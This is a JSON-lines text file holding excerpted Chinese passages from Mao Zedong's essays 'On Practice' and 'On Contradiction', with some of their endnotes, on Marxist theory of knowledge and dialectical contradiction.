    {"text": "再一个是它的实践性，强调理论对于实践的依赖关系，理论的基础是实践，又转过来为实践服务。 判定认识或理论之是否真理，不是依主观上觉得如何而定，而是依客观上社会实践的结果如何而定。"},
    {"text": "这只要看一看认识的发展过程就会明了的。 原来人在实践过程中，开始只是看到过程中各个事物的现象方面，看到各个事物的片面，看到各个事物之间的外部联系。 例如有些外面的人们到延安来考察，头一二天，他们看到了延安的地形、街道、屋宇，接触了许多的人，参加了宴会、晚会和群众大会，听到了各种说话，看到了各种文件，这些就是事物的现象，事物的各个片面以及这些事物的外部联系。"},
    {"text": "也就是延安这些各别的事物作用于考察团先生们的感官，引起了他们的感觉，在他们的脑子中生起了许多的印象，以及这些印象间的大概的外部的联系，这是认识的第一个阶段。"},
    {"text": "社会实践的继续，使人们在实践中引起感觉和印象的东西反复了多次，于是在人们的脑子里生起了一个认识过程中的突变（即飞跃），产生了概念。"},
    {"text": "外来的考察团先生们在他们集合了各种材料，加上他们“想了一想”之后，他们就能够作出“共产党的抗日民族统一战线的政策是彻底的、诚恳的和真实的”这样一个判断了。 在他们作出这个判断之后，如果他们对于团结救国也是真实的的话，那末他们就能够进一步作出这样的结论：“抗日民族统一战线是能够成功的。"},
    {"text": "认识的真正任务在于经过感觉而到达于思维，到达于逐步了解客观事物的内部矛盾，了解它的规律性，了解这一过程和那一过程间的内部联系，即到达于论理的认识。 重复地说，论理的认识所以和感性的认识不同，是因为感性的认识是属于事物之片面的、现象的、外部联系的东西，论理的认识则推进了一大步，到达了事物的全体的、本质的、内部联系的东西，到达了暴露周围世界的内在的矛盾，因而能在周围世界的总体上，在周围世界一切方面的内部联系上去把握周围世界的发展。"},
    {"text": "这种基于实践的由浅入深的辩证唯物论的关于认识发展过程的理论，在马克思主义以前，是没有一个人这样解决过的。 马克思主义的唯物论，第一次正确地解决了这个问题，唯物地而且辩证地指出了认识的深化的运动，指出了社会的人在他们的生产和阶级斗争的复杂的、经常反复的实践中，由感性认识到论理认识的推移的运动。"},
    {"text": "列宁说过：“物质的抽象，自然规律的抽象，价值的抽象以及其他等等，一句话，一切科学的（正确的、郑重的、非瞎说的）抽象，都更深刻、更正确、更完全地反映着自然。"},
    {"text": "” 〔3〕 马克思列宁主义认为：认识过程中两个阶段的特性，在低级阶段，认识表现为感性的，在高级阶段，认识表现为论理的，但任何阶段，都是统一的认识过程中的阶段。"},
    {"text": "马克思不能在自由资本主义时代就预先具体地认识帝国主义时代的某些特异的规律，因为帝国主义这个资本主义最后阶段还未到来，还无这种实践，只有列宁和斯大林才能担当此项任务。"},
    {"text": "马克思、恩格斯、列宁、斯大林之所以能够作出他们的理论，除了他们的天才条件之外，主要地是他们亲自参加了当时的阶级斗争和科学实验的实践，没有这后一个条件，任何天才也是不能成功的。"},
    {"text": "“秀才不出门，全知天下事”，在技术不发达的古代只是一句空话，在技术发达的现代虽然可以实现这句话，然而真正亲知的是天下实践着的人，那些人在他们的实践中间取得了“知”，经过文字和技术的传达而到达于“秀才”之手，秀才乃能间接地“知天下事”。"},
    {"text": "如果要直接地认识某种或某些事物，便只有亲身参加于变革现实、变革某种或某些事物的实践的斗争中，才能触到那种或那些事物的现象，也只有在亲身参加变革现实的实践的斗争中，才能暴露那种或那些事物的本质而理解它们。"},
    {"text": "这些知识在古人在外人是直接经验的东西，如果在古人外人直接经验时是符合于列宁所说的条件“科学的抽象”，是科学地反映了客观的事物，那末这些知识是可靠的，否则就是不可靠的。"},
    {"text": "任何知识的来源，在于人的肉体感官对客观外界的感觉，否认了这个感觉，否认了直接经验，否认亲自参加变革现实的实践，他就不是唯物论者。"},
    {"text": "无产阶级对于资本主义社会的认识，在其实践的初期——破坏机器和自发斗争时期，他们还只在感性认识的阶段，只认识资本主义各个现象的片面及其外部的联系。"},
    {"text": "但是到了他们实践的第二个时期——有意识有组织的经济斗争和政治斗争的时期，由于实践，由于长期斗争的经验，经过马克思、恩格斯用科学的方法把这种种经验总结起来，产生了马克思主义的理论，用以教育无产阶级，这样就使无产阶级理解了资本主义社会的本质，理解了社会阶级的剥削关系，理解了无产阶级的历史任务，这时他们就变成了一个“自为的阶级”。"},
    {"text": "第一阶段是表面的感性的认识阶段，表现在太平天国运动和义和团运动等笼统的排外主义的斗争上 〔5〕 。 第二阶段才进到理性的认识阶段，看出了帝国主义内部和外部的各种矛盾，并看出了帝国主义联合中国买办阶级和封建阶级以压榨中国人民大众的实质，这种认识是从一九一九年五四运动 〔6〕 前后才开始的。"},
    {"text": "战争的领导者，如果他们是一些没有战争经验的人，对于一个具体的战争（例如我们过去十年的土地革命战争）的深刻的指导规律，在开始阶段是不了解的。"},
    {"text": "然而由于这些经验（胜仗，特别是败仗的经验），使他们能够理解贯串整个战争的内部的东西，即那个具体战争的规律性，懂得了战略和战术，因而能够有把握地去指导战争。"},
    {"text": "如果这个人在这项工作中经过了一个时期，他有了这项工作的经验了，而他又是一个肯虚心体察情况的人，不是一个主观地、片面地、表面地看问题的人，他就能够自己做出应该怎样进行工作的结论，他的工作勇气也就可以大大地提高了。"},
    {"text": "只有那些主观地、片面地和表面地看问题的人，跑到一个地方，不问环境的情况，不看事情的全体（事情的历史和全部现状），也不触到事情的本质（事情的性质及此一事情和其他事情的内部联系），就自以为是地发号施令起来，这样的人是没有不跌交子的。"},
    {"text": "由此看来，认识的过程，第一步，是开始接触外界事情，属于感觉的阶段。 第二步，是综合感觉的材料加以整理和改造，属于概念、判断和推理的阶段。 只有感觉的材料十分丰富（不是零碎不全）和合于实际（不是错觉），才能根据这样的材料造出正确的概念和论理来。"},
    {"text": "哲学史上有所谓“唯理论”一派，就是只承认理性的实在性，不承认经验的实在性，以为只有理性靠得住，而感觉的经验是靠不住的，这一派的错误在于颠倒了事实。 理性的东西所以靠得住，正是由于它来源于感性，否则理性的东西就成了无源之水，无本之木，而只是主观自生的靠不住的东西了。"},
    {"text": "从认识过程的秩序说来，感觉经验是第一的东西，我们强调社会实践在认识过程中的意义，就在于只有社会实践才能使人的认识开始发生，开始从客观外界得到感觉经验。"},
    {"text": "如果以为认识可以停顿在低级的感性阶段，以为只有感性认识可靠，而理性认识是靠不住的，这便是重复了历史上的“经验论”的错误。 这种理论的错误，在于不知道感觉材料固然是客观外界某些真实性的反映（我这里不来说经验只是所谓内省体验的那种唯心的经验论），但它们仅是片面的和表面的东西，这种反映是不完全的，是没有反映事物本质的。 要完全地反映整个的事物，反映事物的本质，反映事物的内部规律性，就必须经过思考作用，将丰富的感觉材料加以去粗取精、去伪存真、由此及彼、由表及里的改造制作工夫，造成概念和理论的系统，就必须从感性认识跃进到理性认识。 这种改造过的认识，不是更空虚了更不可靠了的认识，相反，只要是在认识过程中根据于实践基础而科学地改造过的东西，正如列宁所说乃是更深刻、更正确、更完全地反映客观事物的东西。"},
    {"text": "庸俗的事务主义家不是这样，他们尊重经验而看轻理论，因而不能通观客观过程的全体，缺乏明确的方针，没有远大的前途，沾沾自喜于一得之功和一孔之见。"},
    {"text": "哲学上的“唯理论”和“经验论”都不懂得认识的历史性或辩证性，虽然各有片面的真理（对于唯物的唯理论和经验论而言，非指唯心的唯理论和经验论），但在认识论的全体上则都是错误的。"},
    {"text": "由感性到理性之辩证唯物论的认识运动，对于一个小的认识过程（例如对于一个事物或一件工作的认识）是如此，对于一个大的认识过程（例如对于一个社会或一个革命的认识）也是如此。"},
    {"text": "马克思主义的哲学认为十分重要的问题，不在于懂得了客观世界的规律性，因而能够解释世界，而在于拿了这种对于客观规律性的认识去能动地改造世界。 在马克思主义看来，理论是重要的，它的重要性充分地表现在列宁说过的一句话：“没有革命的理论，就不会有革命的运动。 ” 〔8〕 然而马克思主义看重理论，正是，也仅仅是，因为它能够指导行动。"},
    {"text": "认识从实践始，经过实践得到了理论的认识，还须再回到实践去。 认识的能动作用，不但表现于从感性的认识到理性的认识之能动的飞跃，更重要的还须表现于从理性的认识到革命的实践这一个飞跃。 抓着了世界的规律性的认识，必须把它再回到改造世界的实践中去，再用到生产的实践、革命的阶级斗争和民族斗争的实践以及科学实验的实践中去。"},
    {"text": "理论的东西之是否符合于客观真理性这个问题，在前面说的由感性到理性之认识运动中是没有完全解决的，也不能完全解决的。 要完全地解决这个问题，只有把理性的认识再回到社会实践中去，应用理论于实践，看它是否能够达到预想的目的。"},
    {"text": "许多自然科学理论之所以被称为真理，不但在于自然科学家们创立这些学说的时候，而且在于为尔后的科学实践所证实的时候。 马克思列宁主义之所以被称为真理，也不但在于马克思、恩格斯、列宁、斯大林等人科学地构成这些学说的时候，而且在于为尔后革命的阶级斗争和民族斗争的实践所证实的时候。"},
    {"text": "人类认识的历史告诉我们，许多理论的真理性是不完全的，经过实践的检验而纠正了它们的不完全性。 许多理论是错误的，经过实践的检验而纠正其错误。"},
    {"text": "社会的人们投身于变革在某一发展阶段内的某一客观过程的实践中（不论是关于变革某一自然过程的实践，或变革某一社会过程的实践），由于客观过程的反映和主观能动性的作用，使得人们的认识由感性的推移到了理性的，造成了大体上相应于该客观过程的法则性的思想、理论、计划或方案，然后再应用这种思想、理论、计划或方案于该同一客观过程的实践，如果能够实现预想的目的，即将预定的思想、理论、计划、方案在该同一过程的实践中变为事实，或者大体上变为事实，那末，对于这一具体过程的认识运动算是完成了。 例如，在变革自然的过程中，某一工程计划的实现，某一科学假想的证实，某一器物的制成，某一农产的收获，在变革社会过程中某一罢工的胜利，某一战争的胜利，某一教育计划的实现，都算实现了预想的目的。"},
    {"text": "这是因为从事变革现实的人们，常常受着许多的限制，不但常常受着科学条件和技术条件的限制，而且也受着客观过程的发展及其表现程度的限制（客观过程的方面及本质尚未充分暴露）。"},
    {"text": "在这种情形之下，由于实践中发现前所未料的情况，因而部分地改变思想、理论、计划、方案的事是常有的，全部地改变的事也是有的。 即是说，原定的思想、理论、计划、方案，部分地或全部地不合于实际，部分错了或全部错了的事，都是有的。 许多时候须反复失败过多次，才能纠正错误的认识，才能到达于和客观过程的规律性相符合，因而才能够变主观的东西为客观的东西，即在实践中得到预想的结果。"},
    {"text": "然而对于过程的推移而言，人们的认识运动是没有完成的。 任何过程，不论是属于自然界的和属于社会的，由于内部的矛盾和斗争，都是向前推移向前发展的，人们的认识运动也应跟着推移和发展。"},
    {"text": "依社会运动来说，真正的革命的指导者，不但在于当自己的思想、理论、计划、方案有错误时须得善于改正，如同上面已经说到的，而且在于当某一客观过程已经从某一发展阶段向另一发展阶段推移转变的时候，须得善于使自己和参加革命的一切人员在主观认识上也跟着推移转变，即是要使新的革命任务和新的工作方案的提出，适合于新的情况的变化。"},
    {"text": "他们的思想离开了社会的实践，他们不能站在社会车轮的前头充任向导的工作，他们只知跟在车子后面怨恨车子走得太快了，企图把它向后拉，开倒车。"},
    {"text": "他们的思想超过客观过程的一定发展阶段，有些把幻想看作真理，有些则把仅在将来有现实可能性的理想，勉强地放在现时来做，离开了当前大多数人的实践，离开了当前的现实性，在行动上表现为冒险主义。"},
    {"text": "马克思主义者承认，在绝对的总的宇宙发展过程中，各个具体过程的发展都是相对的，因而在绝对真理的长河中，人们对于在各个一定发展阶段上的具体过程的认识只具有相对的真理性。"},
    {"text": "根据于一定的思想、理论、计划、方案以从事于变革客观现实的实践，一次又一次地向前，人们对于客观现实的认识也就一次又一次地深化。 客观现实世界的变化运动永远没有完结，人们在实践中对于真理的认识也就永远没有完结。 马克思列宁主义并没有结束真理，而是在实践中不断地开辟认识真理的道路。"},
    {"text": "社会的发展到了今天的时代，正确地认识世界和改造世界的责任，已经历史地落在无产阶级及其政党的肩上。 这种根据科学认识而定下来的改造世界的实践过程，在世界、在中国均已到达了一个历史的时节——自有历史以来未曾有过的重大时节，这就是整个儿地推翻世界和中国的黑暗面，把它们转变过来成为前所未有的光明世界。 无产阶级和革命人民改造世界的斗争，包括实现下述的任务：改造客观世界，也改造自己的主观世界——改造自己的认识能力，改造主观世界同客观世界的关系。"},
    {"text": "通过实践而发现真理，又通过实践而证实真理和发展真理。 从感性认识而能动地发展到理性认识，又从理性认识而能动地指导革命实践，改造主观世界和客观世界。 实践、认识、再实践、再认识，这种形式，循环往复以至无穷，而实践和认识之每一循环的内容，都比较地进到了高一级的程度。"},
    {"text": "注 释 * 在中国共产党内，曾经有一部分教条主义的同志长期拒绝中国革命的经验，否认“马克思主义不是教条而是行动的指南”这个真理，而只生吞活剥马克思主义书籍中的只言片语，去吓唬人们。"},
    {"text": "还有另一部分经验主义的同志长期拘守于自身的片断经验，不了解理论对于革命实践的重要性，看不见革命的全局，虽然也是辛苦地——但却是盲目地在工作。"},
    {"text": "这两类同志的错误思想，特别是教条主义思想，曾经在一九三一年至一九三四年使得中国革命受了极大的损失，而教条主义者却是披着马克思主义的外衣迷惑了广大的同志。"},
    {"text": "毛泽东的《实践论》，是为着用马克思主义的认识论观点去揭露党内的教条主义和经验主义——特别是教条主义这些主观主义的错误而写的。 因为重点是揭露看轻实践的教条主义这种主观主义，故题为《实践论》。"},
    {"text": "”（《列宁全集》第55卷，人民出版社1990年版，第183页） 〔2〕 参见马克思《关于费尔巴哈的提纲》（《马克思恩格斯选集》第1卷，人民出版社1972年版，第16—19页）和列宁《唯物主义和经验批判主义》第二章第六节（《列宁全集》第18卷，人民出版社1988年版，第144页）。 〔3〕 见列宁《黑格尔〈逻辑学〉一书摘要》（《列宁全集》第55卷，人民出版社1990年版，第142页）。"},
    {"text": "〔5〕 一九五一年三月二十七日，毛泽东在致李达的信中说：“《实践论》中将太平天国放在排外主义一起说不妥，出选集时拟加修改，此处暂仍照原。"},
    {"text": "这次运动迅速地获得了全国人民的响应，到六月三日以后，发展成为有工人阶级、城市小资产阶级和民族资产阶级参加的广大群众性的反帝反封建的爱国运动。"},
    {"text": "以一九一五年《青年杂志》（后改名《新青年》）创刊为起点的新文化运动，竖起“民主”和“科学”的旗帜，反对旧道德，提倡新道德，反对旧文学，提倡新文学。"},
    {"text": "五四运动中的先进分子接受了马克思主义，使新文化运动发展成为马克思主义思想运动，他们致力于马克思主义同中国工人运动相结合，在思想上和干部上准备了中国共产党的成立。"},
    {"text": "”（《列宁全集》第55卷，人民出版社1990年版，第175页） 〔8〕 见列宁《俄国社会民主党人的任务》（《列宁全集》第2卷，人民出版社1984年版，第443页）； 并见列宁《怎么办？ 》第一章第四节（《列宁全集》第6卷，人民出版社1986年版，第23页）。 〔9〕 见列宁《唯物主义和经验批判主义》第二章第六节（《列宁全集》第18卷，人民出版社1988年版，第144页）。 〔10〕 见斯大林《论列宁主义基础》第三部分《理论》。"},
    {"text": "列宁说：“就本来的意义讲，辩证法是研究对象的本质自身中的矛盾。 ” 〔1〕 列宁常称这个法则为辩证法的本质，又称之为辩证法的核心 〔2〕 。"},
    {"text": "一 两种宇宙观 在人类的认识史中，从来就有关于宇宙发展法则的两种见解，一种是形而上学的见解，一种是辩证法的见解，形成了互相对立的两种宇宙观。"},
    {"text": "由于欧洲许多国家的社会经济情况进到了资本主义高度发展的阶段，生产力、阶级斗争和科学均发展到了历史上未有过的水平，工业无产阶级成为历史发展的最伟大的动力，因而产生了马克思主义的唯物辩证法的宇宙观。"},
    {"text": "所谓形而上学的或庸俗进化论的宇宙观，就是用孤立的、静止的和片面的观点去看世界。 这种宇宙观把世界一切事物，一切事物的形态和种类，都看成是永远彼此孤立和永远不变化的。"},
    {"text": "在形而上学家看来，资本主义的剥削，资本主义的竞争，资本主义社会的个人主义思想等，就是在古代的奴隶社会里，甚至在原始社会里，都可以找得出来，而且会要永远不变地存在下去。"},
    {"text": "和形而上学的宇宙观相反，唯物辩证法的宇宙观主张从事物的内部、从一事物对他事物的关系去研究事物的发展，即把事物的发展看做是事物内部的必然的自己的运动，而每一事物的运动都和它的周围其他事物互相联系着和互相影响着。"},
    {"text": "事物发展的根本原因，不是在事物的外部而是在事物的内部，在于事物内部的矛盾性。 任何事物内部都有这种矛盾性，因此引起了事物的运动和发展。 事物内部的这种矛盾性是事物发展的根本原因，一事物和他事物的互相联系和互相影响则是事物发展的第二位的原因。"},
    {"text": "许多国家在差不多一样的地理和气候的条件下，它们发展的差异性和不平衡性，非常之大。 同一个国家吧，在地理和气候并没有变化的情形下，社会的变化却是很大的。"},
    {"text": "整个地球及地球各部分的地理和气候也是变化着的，但以它们的变化和社会的变化相比较，则显得很微小，前者是以若干万年为单位而显现其变化的，后者则在几千年、几百年、几十年、甚至几年或几个月（在革命时期）内就显现其变化了。"},
    {"text": "社会的变化，主要地是由于社会内部矛盾的发展，即生产力和生产关系的矛盾，阶级之间的矛盾，新旧之间的矛盾，由于这些矛盾的发展，推动了社会的前进，推动了新旧社会的代谢。"},
    {"text": "十月社会主义革命不只是开创了俄国历史的新纪元，而且开创了世界历史的新纪元，影响到世界各国内部的变化，同样地而且还特别深刻地影响到中国内部的变化，但是这种变化是通过了各国内部和中国内部自己的规律性而起的。"},
    {"text": "但是古代的辩证法带着自发的朴素的性质，根据当时的社会历史条件，还不可能有完备的理论，因而不能完全解释宇宙，后来就被形而上学所代替。"},
    {"text": "直到无产阶级运动的伟大的活动家马克思和恩格斯综合了人类认识史的积极的成果，特别是批判地吸取了黑格尔的辩证法的合理的部分，创造了辩证唯物论和历史唯物论这个伟大的理论，才在人类认识史上起了一个空前的大革命。"},
    {"text": "这是因为马克思主义的伟大的创造者和继承者马克思、恩格斯、列宁、斯大林他们发现了唯物辩证法的宇宙观，已经把唯物辩证法应用在人类历史的分析和自然历史的分析的许多方面，应用在社会的变革和自然的变革（例如在苏联）的许多方面，获得了极其伟大的成功，矛盾的普遍性已经被很多人所承认，因此，关于这个问题只需要很少的话就可以说明白；"},
    {"text": "而关于矛盾的特殊性的问题，则还有很多的同志，特别是教条主义者，弄不清楚。 他们不了解矛盾的普遍性即寓于矛盾的特殊性之中。 他们也不了解研究当前具体事物的矛盾的特殊性，对于我们指导革命实践的发展有何等重要的意义。"},
    {"text": "为了这个缘故，当着我们分析事物矛盾的法则的时候，我们就先来分析矛盾的普遍性的问题，然后再着重地分析矛盾的特殊性的问题，最后仍归到矛盾的普遍性的问题。 矛盾的普遍性或绝对性这个问题有两方面的意义。 其一是说，矛盾存在于一切事物的发展过程中； 其二是说，每一事物的发展过程中存在着自始至终的矛盾运动。 恩格斯说：“运动本身就是矛盾。"},
    {"text": "” 〔6〕 列宁对于对立统一法则所下的定义，说它就是“承认（发现）自然界（精神和社会两者也在内）的一切现象和过程都含有互相矛盾、互相排斥、互相对立的趋向” 〔7〕 。"},
    {"text": "一切事物中包含的矛盾方面的相互依赖和相互斗争，决定一切事物的生命，推动一切事物的发展。 没有什么事物是不包含矛盾的，没有矛盾就没有世界。"},
    {"text": "矛盾是简单的运动形式（例如机械性的运动）的基础，更是复杂的运动形式的基础。 恩格斯这样说明过矛盾的普遍性：“如果简单的机械的移动本身包含着矛盾，那末，物质的更高的运动形式，特别是有机生命及其发展，就更加包含着矛盾。"},
    {"text": "同样，我们看到了，在思维的范围以内我们也不能避免矛盾，并且我们看到了，例如，人的内部无限的认识能力与此种认识能力仅在外部被局限的而且认识上也被局限的个别人们身上的实际的实现二者之间的矛盾，是在人类世代的无穷的——至少对于我们，实际上是无穷的——连续系列之中，是在无穷的前进运动之中解决的。"},
    {"text": "党内不同思想的对立和斗争是经常发生的，这是社会的阶级矛盾和新旧事物的矛盾在党内的反映。 党内如果没有矛盾和解决矛盾的思想斗争，党的生命也就停止了。"},
    {"text": "由此看来，不论是简单的运动形式，或复杂的运动形式，不论是客观现象，或思想现象，矛盾是普遍地存在着，矛盾存在于一切过程中，这一点已经弄清楚了。"},
    {"text": "从苏联哲学界批判德波林学派的文章中看出，德波林学派有这样一种见解，他们认为矛盾不是一开始就在过程中出现，须待过程发展到一定的阶段才出现。"},
    {"text": "这是旧的统一和组成此统一的对立成分让位于新的统一和组成此统一的对立成分，于是新过程就代替旧过程而发生。 旧过程完结了，新过程发生了。 新过程又包含着新矛盾，开始它自己的矛盾发展史。"},
    {"text": "“马克思在《资本论》中，首先分析的是资产阶级社会（商品社会）里最简单的、最普通的、最基本的、最常见的、最平常的、碰到亿万次的关系——商品交换。"},
    {"text": "三 矛盾的特殊性 矛盾存在于一切事物发展的过程中，矛盾贯串于每一事物发展过程的始终，这是矛盾的普遍性和绝对性，前面已经说过了。 现在来说矛盾的特殊性和相对性。"},
    {"text": "对于物质的每一种运动形式，必须注意它和其他各种运动形式的共同点。 但是，尤其重要的，成为我们认识事物的基础的东西，则是必须注意它的特殊点，就是说，注意它和其他运动形式的质的区别。 只有注意了这一点，才有可能区别事物。"},
    {"text": "所有这些物质的运动形式，都是互相依存的，又是本质上互相区别的。 每一物质的运动形式所具有的特殊的本质，为它自己的特殊的矛盾所规定。"},
    {"text": "科学研究的区分，就是根据科学对象所具有的特殊的矛盾性。 因此，对于某一现象的领域所特有的某一种矛盾的研究，就构成某一门科学的对象。 例如，数学中的正数和负数，机械学中的作用和反作用，物理学中的阴电和阳电，化学中的化分和化合，社会科学中的生产力和生产关系、阶级和阶级的互相斗争，军事学中的攻击和防御，哲学中的唯心论和唯物论、形而上学观和辩证法观等等，都是因为具有特殊的矛盾和特殊的本质，才构成了不同的科学研究的对象。"},
    {"text": "固然，如果不认识矛盾的普遍性，就无从发现事物运动发展的普遍的原因或普遍的根据； 但是，如果不研究矛盾的特殊性，就无从确定一事物不同于他事物的特殊的本质，就无从发现事物运动发展的特殊的原因，或特殊的根据，也就无从辨别事物，无从区分科学研究的领域。"},
    {"text": "就人类认识运动的秩序说来，总是由认识个别的和特殊的事物，逐步地扩大到认识一般的事物。 人们总是首先认识了许多不同事物的特殊的本质，然后才有可能更进一步地进行概括工作，认识诸种事物的共同的本质。 当着人们已经认识了这种共同的本质以后，就以这种共同的认识为指导，继续地向着尚未研究过的或者尚未深入地研究过的各种具体的事物进行研究，找出其特殊的本质，这样才可以补充、丰富和发展这种共同的本质的认识，而使这种共同的本质的认识不致变成枯槁的和僵死的东西。 这是两个认识的过程：一个是由特殊到一般，一个是由一般到特殊。 人类的认识总是这样循环往复地进行的，而每一次的循环（只要是严格地按照科学的方法）都可能使人类的认识提高一步，使人类的认识不断地深化。 我们的教条主义者在这个问题上的错误，就是，一方面，不懂得必须研究矛盾的特殊性，认识各别事物的特殊的本质，才有可能充分地认识矛盾的普遍性，充分地认识诸种事物的共同的本质； 另一方面，不懂得在我们认识了事物的共同的本质以后，还必须继续研究那些尚未深入地研究过的或者新冒出来的具体的事物。"},
    {"text": "我们的教条主义者是懒汉，他们拒绝对于具体事物做任何艰苦的研究工作，他们把一般真理看成是凭空出现的东西，把它变成为人们所不能够捉摸的纯粹抽象的公式，完全否认了并且颠倒了这个人类认识真理的正常秩序。"},
    {"text": "不但要研究每一个大系统的物质运动形式的特殊的矛盾性及其所规定的本质，而且要研究每一个物质运动形式在其发展长途中的每一个过程的特殊的矛盾及其本质。"},
    {"text": "例如，无产阶级和资产阶级的矛盾，用社会主义革命的方法去解决； 人民大众和封建制度的矛盾，用民主革命的方法去解决； 殖民地和帝国主义的矛盾，用民族革命战争的方法去解决； 在社会主义社会中工人阶级和农民阶级的矛盾，用农业集体化和农业机械化的方法去解决； 共产党内的矛盾，用批评和自我批评的方法去解决； 社会和自然的矛盾，用发展生产力的方法去解决。"},
    {"text": "教条主义者不遵守这个原则，他们不了解诸种革命情况的区别，因而也不了解应当用不同的方法去解决不同的矛盾，而只是千篇一律地使用一种自以为不可改变的公式到处硬套，这就只能使革命遭受挫折，或者将本来做得好的事情弄得很坏。"},
    {"text": "为要暴露事物发展过程中的矛盾在其总体上、在其相互联结上的特殊性，就是说暴露事物发展过程的本质，就必须暴露过程中矛盾各方面的特殊性，否则暴露过程的本质成为不可能，这也是我们作研究工作时必须十分注意的。"},
    {"text": "例如，在中国资产阶级民主革命过程中，有中国社会各被压迫阶级和帝国主义的矛盾，有人民大众和封建制度的矛盾，有无产阶级和资产阶级的矛盾，有农民及城市小资产阶级和资产阶级的矛盾，有各个反动的统治集团之间的矛盾等等，情形是非常复杂的。"},
    {"text": "这些矛盾，不但各各有其特殊性，不能一律看待，而且每一矛盾的两方面，又各各有其特点，也是不能一律看待的。 我们从事中国革命的人，不但要在各个矛盾的总体上，即矛盾的相互联结上，了解其特殊性，而且只有从矛盾的各个方面着手研究，才有可能了解其总体。 所谓了解矛盾的各个方面，就是了解它们每一方面各占何等特定的地位，各用何种具体形式和对方发生互相依存又互相矛盾的关系，在互相依存又互相矛盾中，以及依存破裂后，又各用何种具体的方法和对方作斗争。"},
    {"text": "我们的教条主义者违背列宁的指示，从来不用脑筋具体地分析任何事物，做起文章或演说来，总是空洞无物的八股调，在我们党内造成了一种极坏的作风。"},
    {"text": "例如：只了解中国一方、不了解日本一方，只了解共产党一方、不了解国民党一方，只了解无产阶级一方、不了解资产阶级一方，只了解农民一方、不了解地主一方，只了解顺利情形一方、不了解困难情形一方，只了解过去一方、不了解将来一方，只了解个体一方、不了解总体一方，只了解缺点一方、不了解成绩一方，只了解原告一方、不了解被告一方，只了解革命的秘密工作一方、不了解革命的公开工作一方，如此等等。"},
    {"text": "后来改变方法，从调查情形入手，于是熟悉了盘陀路，拆散了李家庄、扈家庄和祝家庄的联盟，并且布置了藏在敌人营盘里的伏兵，用了和外国故事中所说木马计 〔15〕 相像的方法，第三次就打了胜仗。"},
    {"text": "表面性，是对矛盾总体和矛盾各方的特点都不去看，否认深入事物里面精细地研究矛盾特点的必要，仅仅站在那里远远地望一望，粗枝大叶地看到一点矛盾的形相，就想动手去解决矛盾（答复问题、解决纠纷、处理工作、指挥战争）。"},
    {"text": "中国的教条主义和经验主义的同志们所以犯错误，就是因为他们看事物的方法是主观的、片面的和表面的。 片面性、表面性也是主观性，因为一切客观事物本来是互相联系的和具有内部规律的，人们不去如实地反映这些情况，而只是片面地或表面地去看它们，不认识事物的互相联系，不认识事物的内部规律，所以这种方法是主观主义的。"},
    {"text": "不但事物发展的全过程中的矛盾运动，在其相互联结上，在其各方情况上，我们必须注意其特点，而且在过程发展的各个阶段中，也有其特点，也必须注意。 事物发展过程的根本矛盾及为此根本矛盾所规定的过程的本质，非到过程完结之日，是不会消灭的； 但是事物发展的长过程中的各个发展的阶段，情形又往往互相区别。 这是因为事物发展过程的根本矛盾的性质和过程的本质虽然没有变化，但是根本矛盾在长过程中的各个发展阶段上采取了逐渐激化的形式。 并且，被根本矛盾所规定或影响的许多大小矛盾中，有些是激化了，有些是暂时地或局部地解决了，或者缓和了，又有些是发生了，因此，过程就显出阶段性来。 如果人们不去注意事物发展过程中的阶段性，人们就不能适当地处理事物的矛盾。"},
    {"text": "例如，自由竞争时代的资本主义发展为帝国主义，这时，无产阶级和资产阶级这两个根本矛盾着的阶级的性质和这个社会的资本主义的本质，并没有变化； 但是，两阶级的矛盾激化了，独占资本和自由资本之间的矛盾发生了，宗主国和殖民地的矛盾激化了，各资本主义国家间的矛盾即由各国发展不平衡的状态而引起的矛盾特别尖锐地表现出来了，因此形成了资本主义的特殊阶段，形成了帝国主义阶段。"},
    {"text": "列宁主义之所以成为帝国主义和无产阶级革命时代的马克思主义，就是因为列宁和斯大林正确地说明了这些矛盾，并正确地作出了解决这些矛盾的无产阶级革命的理论和策略。"},
    {"text": "这就是：由于无产阶级的领导，根本地改变了革命的面貌，引出了阶级关系的新调度，农民革命的大发动，反帝国主义和反封建主义的革命彻底性，由民主革命转变到社会主义革命的可能性，等等。"},
    {"text": "虽然整个过程中根本矛盾的性质，过程之反帝反封建的民主革命的性质（其反面是半殖民地半封建的性质），并没有变化，但是，在这长时间中，经过了辛亥革命失败和北洋军阀统治，第一次民族统一战线的建立和一九二四年至一九二七年的革命，统一战线破裂和资产阶级转入反革命，新的军阀战争，土地革命战争，第二次民族统一战线建立和抗日战争等等大事变，二十多年间经过了几个发展阶段。 在这些阶段中，包含着有些矛盾激化了（例如土地革命战争和日本侵入东北四省 〔18〕 ），有些矛盾部分地或暂时地解决了（例如北洋军阀的被消灭，我们没收了地主的土地），有些矛盾重新发生了（例如新军阀之间的斗争，南方各革命根据地丧失后地主又重新收回土地）等等特殊的情形。"},
    {"text": "国民党方面，在第一次统一战线时期，因为它实行了孙中山的联俄、联共、援助工农的三大政策，所以它是革命的、有朝气的，它是各阶级的民主革命的联盟。"},
    {"text": "但在对于革命的性质、任务和方法的认识方面，却表现了它的幼年性，因此在这次革命的后期所发生的陈独秀主义 〔20〕 能够起作用，使这次革命遭受了失败。"},
    {"text": "一九二七年以后，它又英勇地领导了土地革命战争，创立了革命的军队和革命的根据地，但是它也犯过冒险主义的错误，使军队和根据地都受了很大的损失。 一九三五年以后，它又纠正了冒险主义的错误，领导了新的抗日的统一战线，这个伟大的斗争现在正在发展。"},
    {"text": "不研究这些特点，就不能了解两党在各个发展阶段上的特殊的相互关系：统一战线的建立，统一战线的破裂，再一个统一战线的建立。 而要研究两党的种种特点，更根本的就必须研究这两党的阶级基础以及因此在各个时期所形成的它们和其他方面的矛盾的对立。"},
    {"text": "在它进行反共战争的时期，则和帝国主义、封建主义合作反对人民大众，一笔勾销了人民大众原来在革命中所争得的一切利益，激化了它和人民大众的矛盾。"},
    {"text": "由此看来，不论研究何种矛盾的特性——各个物质运动形式的矛盾，各个运动形式在各个发展过程中的矛盾，各个发展过程的矛盾的各方面，各个发展过程在其各个发展阶段上的矛盾以及各个发展阶段上的矛盾的各方面，研究所有这些矛盾的特性，都不能带主观随意性，必须对它们实行具体的分析。 离开具体的分析，就不能认识任何矛盾的特性。"},
